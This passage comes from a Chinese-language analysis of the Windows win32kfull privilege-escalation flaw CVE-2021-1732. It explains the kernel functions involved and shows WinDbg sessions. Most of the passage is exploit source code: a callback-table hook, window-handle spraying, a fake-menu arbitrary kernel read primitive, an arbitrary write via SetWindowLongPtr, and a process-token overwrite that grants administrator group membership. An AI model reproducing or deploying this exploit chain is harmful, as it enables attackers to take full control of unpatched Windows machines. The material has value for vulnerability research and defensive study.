- 第157行表示将载入参数3写入到v19指向的地址
- 第158行表示
SetWindowLong
调用完后返回v19指向的内容
动态调试分析:
根据断点拿到窗口tagWND内核基址:0xffff834ec62c7e70
1: kd> dqs 0xffff834ec62c7e70 l6
ffff834e`c62c7e70 00000000`000a0510
ffff834e`c62c7e78 00000000`00000003
ffff834e`c62c7e80 ffff834e`c0641010
ffff834e`c62c7e88 ffff9108`276b1a80
ffff834e`c62c7e90 ffff834e`c62c7e70
ffff834e`c62c7e98 ffff834e`c1249760 <==进入tagWNDk
查看tagWNDk+0xFC
的值
1: kd> ?ffff834e`c1249760+fc
Evaluate expression: -137100705621924 = ffff834e`c124985c
1: kd> dqs ffff834e`c124985c
ffff834e`c124985c 00010001`00000000 <==可以看到是00010001,转换为unsigned int == 65537 == 1(int型4字节)
六、分析win32kfull!xxxSetWindowLongPtr
当我们只需要SetWindowLongPtr
的赋值功能:
- 第153行表示指向tagWNDk
- 第154行表示v21指向
tagWNDk+0xFC
(当载入参数超过某个值,经动态调试查看载入地址发现我们nIndex
不需要补差,参数指哪里传哪里,不知道为什么) - 第184行表示
v24 = nIndex
- 第185行表示判断窗口的
flag
是否包含0x800
- 第186行表示赋值地址v25 =
nIndex+ pExtraBytes +桌面堆地址
- 第189行表示将上一个指定赋值的地址当作返回地址返回
- 第190行将参数3赋值到v25指针指向地址中
当我们需要SetWindowLongPtr
调用xxxSetWindowData
执行特定的对spmenu
的赋值功能
xxxSetWindowLongPtr
跳转到xxxSetWindowData
分析win32kfull!xxxSetWindowData
- 第117~119行表示我们需要包含
GWLP_ID
(参考SetWindowLongPtrA function (winuser.h)) - 第120行表示我们的
tagWNDK->style
需要包含WS_CHILD
- 第122行表示我们旧的
hWnd+0xa8
上的数据当作返回值输出(在SetWindowLongPtr
上也是返回值) - 第124行表示将参数
dwNewLong
数据覆盖到tagWND+0xa8
(tagWND->spmenu)上(经动态调试查实) - 这个就是我们构造读原语需要的步骤之一
七、分析Win32kfull!NtUserGetMenuBarInfo
这个就是我们读原语的主要调用函数,只要在窗口内部使用我们根据漏洞构造的写原语将我们自定义的spmenu插入即可
查看User32!GetMenuBarInfo
- 可以看到上述将所有参数载入到内核层中的
Win32kfull!NtUserGetMenuBarInfo
继续运行
查看Win32kfull!NtUserGetMenuBarInfo
查看xxxGetMenuBarInfo
- 第133/135行表示
idObject
必须要等于-3才能调用spmenu
- 第136行表示需要包含
WS_CHILD
- 第131行表示获取
tagWND->spmenu
需要有数据 - 第142行表示赋值
tagWND->spmenu
到v79
- 第156行表示传入的
idItem
必须大于0 - 第158行表示获取
ptagWNDk
- 第159行当
idItem
为0x1
时,v44=0x60
- 第160行表示指向
*(tagWND->spmenu)[0xB]
- 第161行当
idItem
为0x1
时,则v46 == v45 == *(tagWND->spmenu)[0xb]
- 第170行当
idItem
为0x1
,根据动态调试本次EXP中的RECT.top==0x0,所以可以使用v48 = *(*(spmenu+0xb)+0x40)
代表,由于是DWORD,所以只拿到16字节的前8字节 - 第171行将我们我们使用
SetWindowLongPtr
传入的spmenu
结构体中的*spmenu[0xb]-0x**40**
(注意!!)指向的地址的内容的前4字节赋值到我们调用的GetMenuBarInfo
函数的第4个参数pmbi+0x4
中 - 第174行当
idItem
为0x1
,根据动态调试本次EXP中的RECT.left==0x0,所以可以使用v49 = *(*(spmenu+0xb)+0x44)
代表,由于是DWORD,所以只拿到16字节中的前8字节 - 第171行将我们我们使用
SetWindowLongPtr
传入的spmenu
结构体中的*spmenu[0xb]-0x**44**
(注意!!)指向的地址的内容的前4字节赋值到我们调用的GetMenuBarInfo
函数的第4个参数pmbi+0x8
中 - 上面171行和175行中的地址需要将2者进行
< 和 |
运算来生成完整的8字节数据(就是后面在EXP中执行的ReBuildData()
)
0x05 漏洞利用流程
可以看出只要Hook user32!_xxxClientAllocWindowClassExtraBytes
中调用NtUserConsoleControl
(先)跟NtCallbackReturn
(后)就可以了。调用NtUserConsoleControl
会重新设置tagWND->pExtraBytes
跟tagWND->extraFlag
值包含0x800
属性,再调用NtCallbackReturn
函数返回指定offset到内核层修改tagWND->pExtraBytes
,然后调用SetWindowsLong
在内核层“指定offset”修改数据
因为正常调用完user32!_xxxClientAllocWindowClassExtraBytes
会调用NtCallbackReturn
传输生成的内存地址到win32kfull!xxxClientAllocWindowClassExtraBytes
,然后win32kfull!xxxClientAllocWindowClassExtraBytes
调用完毕后会把返回值放入到tagWND->pExtraBytes
,而Hook后就是自己建立NtCallbackReturn
传输自定义内存地址到win32kfull!xxxClientAllocWindowClassExtraBytes
,然后win32kfull!xxxClientAllocWindowClassExtraBytes
调用完毕后会把返回值放入到tagWND->pExtraBytes
)
在指定地址写入数据后我们就可以调用GetMenuBarInfo
读内核层数据了,进而配合SetWindowsLong
任意写入造成提权。
EXP分析
一、Hook函数分析
这里使用了Hook库hooklib.lib来进行Hook,想要进一步了解的请google:Hooklib
#include <HookLib.h>
#pragma comment(lib, "Zydis.lib")
#pragma comment(lib, "HookLib.lib")
using USERMODECALLBACK = VOID(WINAPI*)( ULONG_PTR Para1, ULONG_PTR Para2, ULONG_PTR Para3, ULONG_PTR Para4 );
USERMODECALLBACK UserModeCallback_Orig = NULL;
SetHook((PVOID)(pUserModeCallbackTable[CALLBACK_INDEX]), UserModeCallback_Proxy, reinterpret_cast<PVOID*>(&UserModeCallback_Orig));
解析:
一旦程序在CreateWindowEx回调中调用了UserModeCallbackTable表上第123项(**_xxxClientAllocWindowClassExtraBytes**
),就跳转到我们的Hook函数**UserModeCallback_Proxy**
进行赋值,想要更加清晰理解Hook流程的,可以自行查看k-k-k-k给出的Exploit编写,里面有巨细的自编写Hook代码利用。
在调用**CreateWindowEX**
创建窗口过程中我们需要Hook **user32!_xxxClientAllocWindowClassExtraBytes**
跳转到我们的Hook函数,Hook函数内部调用**NtCallbackReturn**
伪造回调内核态参数功能返回一个我们自定义的**pExtraBytes**
,然后这个自定义的**pExtraBytes**
会返回到**win32kfull!xxxClientAllocWindowClassExtraBytes**
,然后**win32kfull!xxxClientAllocWindowClassExtraBytes**
会将**pExtraBytes**
当作返回值返回到**xxxCreateWindowEx**
,然后赋值**tagWND->pExtraBytes**
注意:
为什么我们需要在Hook中调用NtCallbackReturn
前调用NtUserConsoleControl
来赋值0x800
呢?其实我们这里赋值flag
为0x800
属性只是为了让我们的SetWindowLong
和SetWindowLongStr
能够指定地址越界写入进而构造写原语,没有其他功能了,所以按道理来说是只要在调用SetWindowlong/SetWindowLongStr
前调用就可以了。根据前面分析,调用flag不存在0x800
属性的NtUserConsoleControl
会将**pExtraBytes**
给重写,而我们写入自定义**pExtraBytes**
是“只能”在Hook函数内部调用NtCallbackReturn
的写入的,而且由于我们一开始创建窗口时是不可能将flag
给写入0x800
属性的,所以第一次调用NtUserConsoleControl
时必定会将**pExtraBytes**
重写,那么我们就不可能在调用NtCallbackReturn
后才调用NtUserConsoleControl
来给flag
写入0x800
属性了,所以这就是我们为什么需要使用sprayHandles
找到即将创建的窗口句柄地址来事先调用NtUserConsoleControl
将我们的flag
设置0x800了,而且由于在窗口返回前是不能拿到窗口句柄值的,所以我们只能够根据“内存泄露”/“一些新型手法来通过规律来拿到即将创建的窗口句柄值”,在这里,大牛发现的sprayhandle
获取句柄值就是创新之举了。
所以我们漏洞分析不要只关注哪些能够帮助利用的点,还需要关注哪些可能流程上经过的途径造成的结果有哪些
SprayHandler手法分析:
在我们创建大量的窗口堆后,我们可以销毁尽量靠中的窗口,当我们再创建一个窗口时候桌面堆会优先使用休闲空间,由于之前创建的窗口已经挤压了堆空间,所以我们可以大概率的获取到我们原来销毁的窗口,然后再通过pai-po大佬发现的“窗口句柄生成规律”预知构造一个即将创建窗口的句柄来表示我们现在创建的这个新窗口。
综合得出我们利用sprayhandler的条件:
- 创建足够多的窗口压缩堆空间,在下次调用会优先调用之前使用现在休闲的空间
- 对窗口句柄进行规律构造,生成即将生成的窗口句柄,在尚未创建窗口前就使用某些只要调用句柄的API
关于原理可以到pai-po大佬文章中学习:Windows User Object的句柄管理
ULONG ulCurWnd = (ULONG)SprayWndHandles[SPRAY_WND_COUNT / 2];
for (int i = 0; i < SPRAY_WND_COUNT; i++) {
SprayWndHandles[i] = CreateWnd(CLS_NAME);
}
//挤压分配堆空间
printf("SprayWndHandles[%x] == %X \n", SPRAY_WND_COUNT / 2, SprayWndHandles[SPRAY_WND_COUNT / 2]);
DestroyWindow(SprayWndHandles[SPRAY_WND_COUNT/2]);
//摧毁靠中的窗口,释放这个窗口下属的堆块
HWND hTargetWnd = CreateWnd(CLS_NAME);
//创建一个新窗口触发Hook载入flag|0x800和自定义
- 上面释放的堆块就是大范围“正在利用”堆中的唯一“空闲”堆,所以只要总结出分配的规律就能继续利用这个堆块
{
USHORT usHigh = (ulCurWnd >> 0x10) & 0xffff;
USHORT usLow = ulCurWnd & 0xffff;
ulCurWnd = ((usHigh + 1) << 0x10) | usLow;
//ulCurWnd就是通过sprayhandle拿到的即将创建的窗口句柄值
}
HWND CreateWnd( PCTSTR ClsName ) {
return CreateWindowEx(NULL, ClsName, WND_NAME, NULL, 0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
}
- 上方
ulCurWnd
句柄指向的堆块虽然我们已经将其释放,但是由于**xxxClientAllocWindowClassExtraBytes**
查看堆块tagWND->flag
时没有验证该
分析使用HMValidateHandle获取hwnd句柄地址值:
原理:
HMAllocObject创建了桌面堆类型句柄后,会把tagWND对象放入到内核模式到用户模式内存映射地址里。 为了验证句柄的有效性,窗口管理器会调用User32!HMValidateHandle函数读取这个表。函数将句柄和句柄类型作为参数,并在句柄表中查找对应的项。如果查找到对象, 会返回tagWND只读映射的对象指针,通过tagWND这个对象我们可以获取到句柄等一系列窗口信息。
HMValidateHandle是个未公开函数,可以用IsMenu第一个call定位此函数。
using HMVALIDATEHANDLE = VOID* (WINAPI*)(HWND hwnd, int type);
HMVALIDATEHANDLE HMValidateHandle = NULL;
//定义一个HMVALIDATEHANDLE类型结构体装载HMValidateHandle函数
BOOL FindHMValidateHandle() { //找到HMValidateHandle
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
HMValidateHandle = (HMVALIDATEHANDLE)((ULONG_PTR)hUser32 + offset + 11); //找到HMValidateHandle的基址
return TRUE;
}
利用HMValidateHandle寻找hwnd句柄地址:
pCurWndObj1 = HMValidateHandle((HWND)hTargetWnd, 0x1);
分析获取tagWND与桌面堆基址偏移计算函数:
ULONG GetWndObjOffset(ULONG_PTR hwnd ) {
PVOID pCurWndObj = NULL;
ULONG_PTR ulWndObjOff = 0x0;
ULONG_PTR ulTebAddr = 0;
ulTebAddr = __readgsqword(0x30);
//获取teb基址
pCurWndObj = HMValidateHandle((HWND)hwnd, 0x1);
// 使用HMValidateHandle获取hwnd句柄地址值
// 桌面窗口固定参数为0x1
ulWndObjOff = (ULONG_PTR)pCurWndObj - *(ULONG_PTR*)(ulTebAddr + TEB_DESKTOPHEAP_OFF);
//ulWndObjOff就是窗口tagWND相对用户层桌面堆地址的偏移
return ulWndObjOff; //返回窗口hTargetWnd与进程用户堆基址偏移
}
- 拿到窗口tagWND与用户进程桌面堆地址的偏移后,就可以知道内核层下我们的窗口tagWND地址了(原理看下面
Read Primitive
)
分析Hook函数:
VOID WINAPI UserModeCallback_Proxy(ULONG_PTR Para1, ULONG_PTR Para2, ULONG_PTR Para3, ULONG_PTR Para4)
{
ULONG_PTR ulConsoleInfo[0x2] = { 0 }; //调用NtUserConsoleControl需要构造0x10长度的参数
ULONG_PTR ulRetBuffer[0x3] = { 0 }; //调用NtCallbackReturn需要构造0x18长度的参数
ULONG ulCurWnd = (ULONG)SprayWndHandles[SPRAY_WND_COUNT / 2];
ULONG_PTR ulWndObjOff = 0x0;
printf("UserMode Callback: %llx %llx %llx %llx\n", Para1, Para2, Para3, Para4 );
printf( "Current window is Handle %X\n", ulCurWnd);
// since it was freed and occupied again , so the index increase one, details see my blog's article!
{
USHORT usHigh = (ulCurWnd >> 0x10) & 0xffff;
USHORT usLow = ulCurWnd & 0xffff;
ulCurWnd = ((usHigh + 1) << 0x10) | usLow;
}
ulWndObjOff = GetWndObjOffset(ulCurWnd);
printf("Current Window Object relative to DesktopHeap's offset:%X\n", ulWndObjOff);
// trigle to change flag
ulConsoleInfo[0] = ulCurWnd;
NtUserConsoleControl(0x6, (PVOID)&ulConsoleInfo, sizeof(ulConsoleInfo));
//对tagWND->flag设置0x800属性
ulRetBuffer[0] = ulWndObjOff;
NtCallbackReturn(&ulRetBuffer, sizeof(ulRetBuffer), 0x0);
//由于已经Hook了USER32!_xxxClientAllocWindowClassExtraBytes,而且我们不调用USER32!_xxxClientAllocWindowClassExtraBytes
//所以我们需要自己构造假的USER32!_xxxClientAllocWindowClassExtraBytes功能来实现利用
}
下面是调用流程图示:
二、Write Primitive
原理:
- 在
flag|0x800
+载入自定义pExtraBytes
下调用SetWindowLong/SetWindowLongStr
可以进行任意地址写入
限制:
- 写入的长度有
cbWndExtra
长度限制,需要事先设置一个足够大的cbWndExtra
SetWindowLongPtr(hTargetWnd, 0xc8, (ULONG_PTR)-1); //将cbWndExtra修改到最高(0xFFFFFFFFFFFFFFFF),突破输入限制
主要涉及函数:
SetWindowLongPtr | 任意地址写入 |
---|---|
SetWindowLong | 任意地址写入 |
NtCallbackReturn | 自定义offset (pExtraBytes) |
NtUserConsoleControl | 设置flag |
SetWindowLongPtr(hTargetWnd, 0xc8, (ULONG_PTR)-1); //将cbWndExtra修改到最高(0xFFFFFFFFFFFFFFFF),突破输入限制
SetWindowLong(hAdjacentWnd, 0x498 + 0x30, 0x7); //将hAdjacentWnd窗口中的pExtraBytes作为offset进行自定义写入
三、Read Primitive
通过GetMenuBarInfo
信息泄露指定地址数据
使用前提:
- 使用写原语将自定义的用户层spmenu载入到内核层
tagWND->spmenu
中进而使用GetMenuBarInfo
读取
下面是完整的读原语构造代码:
ULONG_PTR ReadPrimitive( HWND TargetWnd ) {
MENUBARINFO menuBarInfo;
ULONG_PTR ulValue0;
menuBarInfo.cbSize = sizeof(menuBarInfo); //这是menubarInfo的初始化必需步骤
GetMenuBarInfo(TargetWnd, OBJID_MENU, 0x1, &menuBarInfo);
ReBuildData(&menuBarInfo, &ulValue0);
//将调用GetMenuBarInfo返回的menuBarInfo中的4字节RECT.left和4字节RECT.top,然后构造
return ulValue0;
}
- 下面是将从泄露地址内容2个32位地址的
RECT.left
和RECT.right
重构“64位地址”真实泄露完整数据的代码 - 我这里将一些实际调用不相关的代码删除
VOID ReBuildData( PMENUBARINFO MenuBarInfoPtr, ULONG_PTR* RetValue0 ) {
ULONG_PTR ulValue0 = MAKE_64BIT_VALUE((ULONG)(MenuBarInfoPtr->rcBar.top), (ULONG)(MenuBarInfoPtr->rcBar.left));、
*RetValue0 = ulValue0;
}
- 这是
MENUBARINFO
的结构体定义
typedef struct tagMENUBARINFO
{
DWORD cbSize;
RECT rcBar; // rect of bar, popup, item <===这个就是泄露地址的结构体成员
HMENU hMenu; // real menu handle of bar, popup
HWND hwndMenu; // hwnd of item submenu if one
BOOL fBarFocused:1; // bar, popup has the focus
BOOL fFocused:1; // item has the focus
BOOL fUnused:30; // reserved
} MENUBARINFO, *PMENUBARINFO, *LPMENUBARINFO;
ULONG_PTR GetCurThreadObjAddr() {
HANDLE hThread = INVALID_HANDLE_VALUE;
ULONG_PTR ulAddr = 0x0;
hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
if (hThread != INVALID_HANDLE_VALUE){
ulAddr = (ULONG_PTR)GetTargetHandleObject(GetCurrentProcessId(), (ULONG_PTR)hThread);
CloseHandle(hThread);
return ulAddr;
}
return 0;
}
//==========================================================================
{
ULONG_PTR ulDesktopHeapBase = 0x0;
ULONG_PTR ulFakeHandle = 0xFFFF;
ULONG_PTR ulFakeRefCount[2] = { 0 };
PULONG_PTR pFakeMenu = NULL;
PULONG_PTR pFakeMenuBody = NULL;
PULONG_PTR pFakeItems = NULL;
PVOID pCurWndObj1 = NULL;
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x40c00000);
//将我们自定义的spmenu载入到tagWND->spmenu要调用SetWindowLongPtr中的xxxSetWindowData
//而调用xxxSetWindowData,需要tagWNDk->style包含WPCCHILD
pFakeMenu = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pFakeMenuBody = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pFakeItems = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//给各个自定义结构申请内存
SetWindowLongPtr(hTargetWnd, GWLP_ID, (LONG_PTR)pFakeMenu);
//当参数2为WS_CHILD时,我们才可以调用SetWindowLongPtr将参数3指定的地址(pFakeMenu)写入到tagWND+0xa8(tagWND->spmenu),详情看xxxSetWindowData
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x04c00000);
// 载入spmenu后就style就不需要为0x40c00000了,style需要恢复原数据(动态分析调试得出)
// 构造符合正常执行GetMenuBarInfo且把pFakeItems当作读取地址的spmenu(构造原理:构造正常的spmenu然后根据windbg分析必须的各个成员位置)
pFakeMenu[0] = (ULONG_PTR)&ulFakeHandle;
pFakeMenu[5] = (ULONG_PTR)pFakeMenuBody; // fake body
((PULONG)(&pFakeMenuBody[5]))[1] = 0xffff; // make items count to max
((PULONG)(&pFakeMenu[8]))[0] = 1; // make menu'x to 1,这是构造正常的spmenu必须的参数
((PULONG)(&pFakeMenu[8]))[1] = 1; // make menu'y to 1,这是构造正常的spmenu必须的参数
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems; // 这个就是读取的地址(详情看GetMenuBarInfo分析)
ulFakeRefCount[0] = (ULONG_PTR)pFakeMenu;
pFakeMenu[0x13] = (ULONG_PTR)&ulFakeRefCount;
//开始一步一步根据内核结构联系拿到内核桌面堆地址
{
ULONG_PTR ulAddr = 0;
ULONG_PTR ulValue = 0;
ulAddr = GetCurThreadObjAddr();
if (!ulAddr)
return -1;
pFakeItems[0] = (ULONG_PTR)(ulAddr + ETHREAD_WIN32THREAD_OFF - 0x40); // 泄露地址-0x40(详情请看分析GetMenuBarInfo)
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulValue - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulValue + WIN32THREAD_DESKTOP_OFF - 0x40);
ulValue = 0;
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulValue + DESKTOP_HEAPBASE_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
ulDesktopHeapBase = ulValue; //内核桌面堆地址
}
- 上面的spmenu是通过分析GetMenuBarInfo得到的与正常spmenu结构有差异的自定义spmenu,其中
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems;
中的pFakeItems
就是我们需要泄露的指针,只要自定义pFakeItems
,我们就可以像windbg读地址一样将根据内核结构体联系一步一步读取到内核桌面堆地址 - 泄露复现流程查看下面的“动态分析调用流程”
拿到内核桌面堆地址能做什么呢?
- 其实就是为了下一步越界写入做准备
- 获取我们窗口在内核中的实际地址
- 我们只需要再拿到“我们窗口在用户态下的句柄地址(HMValidateHandle获取) ”-“ 用户桌面堆地址(在用户态下通过teb+0x828获取)”的相差值再与“内核桌面堆地址”相加就可以获取到“我们窗口在内核中的实际地址”了
- 获取到相邻窗口的地址
- 相邻的窗口中相差的只是一个tagWNDk结构体的大小,根据大牛们模糊测试,大概在“0x140~0x160”的范围,我们可以根据“已知的”相邻窗口tagWND结构首地址存储的句柄值进行模糊测试获取到相邻窗口的
tagWNDk
的真实地址
动态分析调用流程
一、动态分析上面的获取ulDesktopHeapBase
(内核桌面堆地址)的过程:
- 列出进程列表
1: kd> !dml_proc
Address PID Image file name
ffff9108`2548b380 4 System
ffff9108`25480080 58 Registry
ffff9108`2758d040 128 smss.exe
........
ffff9108`2a77c080 140 CVE-2021-1732.exe
- 查看进程Thread
1: kd> !dml_proc 0xffff91082a77c080
Address PID Image file name
ffff9108`2a77c080 140 CVE-2021-1732. Full details
Select user-mode state Release user-mode state
Browse kernel module list Browse user module list
Browse full module list
Threads:
Address TID
ffff9108`2a58f080 76c <==这个就是进程主线程
ffff9108`29dcd080 89c
ffff9108`29cf0080 72c
- 获取*(主线程地址+0x1c8)
1: kd> dqs ffff9108`2a58f080+1c8 l1
ffff9108`2a58f248 ffff9108`2a41ac80
- 获取上述指针指向内容
1: kd> dqs ffff9108`2a41ac80 l1
ffff9108`2a41ac80 ffff834e`c0641010
- 获取
*(上述指针指向内容+0x1c0)
,这个就是我们ptagWND+0x18的内容
1: kd> dqs ffff834e`c0641010+1c0 l1
ffff834e`c06411d0 ffff9108`276b1a80
- 获取
*(上述地址+0x80)
,这个就是我们的kernel desktop heap base
==ffff834e
c1200000`
1: kd> dqs ffff9108`276b1a80+80 l1
ffff9108`276b1b00 ffff834e`c1200000
上面第5步中通过ptagWND+0x18
来获取就是常规的kernel desktop heap base
获取流程
四、寻找相邻窗口
//找到相邻窗口101
for (ULONG ulIndex = 0x0; ulIndex < 0x30; ulIndex += 8) {
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + ulIndex - 0x40);
//相邻的2个窗口的地址差就是一个tagWNDk结构体大小,这里使用了循环计数ulIndex来偏差定位
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
if (ulValue == (ULONG_PTR)hAdjacentWnd) { //而tagWNDk首地址内容就是我们相邻窗口的句柄值
bAdjacent = TRUE;
ulTagWndBodySize += ulIndex;
//根据模糊测试定位到了真实的tagWNDk结构体大小后重写ulTagWndBodySize,用于后面帮助分析
break;
}
}
ulDesktopHeapBase + ulWndOffset
表示我们的目标窗口在内核层中的地址- 由于相邻的2个窗口的地址差就是一个
tagWNDk
结构体大小,所以拿到目标窗口在内核中的地址后就可以根据结构体差值来获取相邻窗口的地址了,这里使用了ulTagWndBodySize+ulIndex
来模糊测试大概偏差。 - 在这个相邻窗口上我们可以配置进程Token空间偏移作为
pExtraBytes
来对进程Token空间进行读写(因为我们的目标窗口已经将tagWND空间偏移设置为pExtraBytes
)
五、使用DataOnlyAttack
进行提权
解析:
- Win10 1709之后,我们不仅需要在修改当前进程的特权之后,而且需要调整当前Token中的用UserAndGroups,使其和管理员相同。从而才能发生提权
//Util.cpp
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
BOOL InitGlobalFunc() {
HMODULE hNtdllMod = GetModuleHandle(TEXT("ntdll"));
NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdllMod, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
return FALSE;
return TRUE;
}
PVOID GetTargetHandleObject(ULONG_PTR TargetPID, ULONG_PTR TargetHandle)
{
ULONG ulIndex = 0;
ULONG ulLen = 0x10;
NTSTATUS status = STATUS_UNSUCCESSFUL;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
ulLen *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, ulLen);
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, ulLen, &ulLen);
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
return NULL;
}
//调用NtQuerySystemInformation根据句柄获取地址
for (; ulIndex < pHandleInfo->HandleCount; ulIndex++) {
PVOID pObj = pHandleInfo->Handles[ulIndex].Object;
ULONG_PTR ulHandle = (ULONG_PTR)pHandleInfo->Handles[ulIndex].HandleValue;
ULONG_PTR ulPID = (ULONG_PTR)pHandleInfo->Handles[ulIndex].UniqueProcessId;
if (ulHandle == TargetHandle && ulPID == TargetPID)
return pObj;
}
return NULL;
}
//CVE-2021-1732.cpp
ULONG_PTR GetCurTokenObjAddr() { //获取本进程的Token地址
HANDLE hProc; //进程句柄
HANDLE hToken; //进程的令牌句柄
PVOID pTokenObj;
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
OpenProcessToken(
hProc,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&hToken);
pTokenObj = GetTargetHandleObject(GetCurrentProcessId(), (ULONG_PTR)hToken);
return (ULONG_PTR)pTokenObj;
//这里返回的地址就是下面分析第2步拿到的Token地址 "0xffff9a8ee9505060"
}
if (bAdjacent) {
// read adjacent hwnd's flag
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40); //这里是查看相邻窗口tagWNDk的flag的值
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
ulTokenObjAddr = GetCurTokenObjAddr();//本进程的Token地址
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1); //将cbWndExtra修改到最高,方便后面修改
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue | 0x800); //配置相邻窗口的flag值存在0x800属性
//配置相邻窗口的flag存在0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, ulTokenObjAddr - ulDesktopHeapBase); //将进程token地址-内核桌面堆地址的偏移量放到相邻窗口的pExtraBytes
//配置相邻窗口的pExtraBytes为
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1); //将相邻窗口的cbWndExtra修改到最高,方便后面修改
//配置相邻窗口的cbWndExtra
// adjacent wnd can modify token's anything
SetWindowLongPtr(hAdjacentWnd, 0x40, (ULONG_PTR)-1);
SetWindowLongPtr(hAdjacentWnd, 0x48, (ULONG_PTR)-1);
SetWindowLong(hAdjacentWnd, 0x498 + 0x30, 0x7);
SetWindowLong(hAdjacentWnd, 0x498 + 0x40, 0xf);
DEBUG_BREAK();//这里下个断点分析提权赋值位置
// Restore adjacent window
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800); //删除相邻窗口的flag的0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, 0);
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, 0x100 ); // our specified size
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, 0x100); // out specified size
}
}
-
动态调试分析流程
-
查看进程列表(
ffffbd04
669f1080就是我们进程的
EPROCESS`地址)
0: kd> !dml_proc
Address PID Image file name
ffffbd04`62e8b380 4 System
ffffbd04`62e66080 58 Registry
..........
ffffbd04`672e1080 8e0 SearchFilterHo
ffffbd04`669f1080 f20 CVE-2021-1732.exe
- 列出目标进程信息(
ffff9a8ee9505060
就是进程Token地址)
0: kd> !process 0xffffbd04669f1080 7
PROCESS ffffbd04669f1080
SessionId: 1 Cid: 0f20 Peb: c589f8d000 ParentCid: 0d7c
DirBase: 08d40000 ObjectTable: ffff9a8ee9906400 HandleCount: 85.
Image: CVE-2021-1732.exe
VadRoot ffffbd0465ad5c60 Vads 60 Clone 0 Private 2014. Modified 1. Locked 0.
DeviceMap ffff9a8ee61f5cd0
Token ffff9a8ee9505060
ElapsedTime 00:00:02.013
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 104696
QuotaPoolUsage[NonPagedPool] 8424
Working Set Sizes (now,min,max) (3141, 50, 345) (12564KB, 200KB, 1380KB)
PeakWorkingSetSize 3084
VirtualSize 4188 Mb
PeakVirtualSize 4188 Mb
PageFaultCount 3147
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 2079
Job ffffbd04668a3060
- 查看提权后用户组权限
0: kd> !token ffff9a8ee9505060
_TOKEN 0xffff9a8ee9505060
TS Session ID: 0x1
User: S-1-5-21-565062453-3133431090-1700854632-1001
User Groups:
00 S-1-5-21-565062453-3133431090-1700854632-513
Attributes - Mandatory Default Enabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-114
Attributes - Mandatory Default Enabled
03 S-1-5-32-544
Attributes - Mandatory Default Enabled Owner
04 S-1-5-32-559
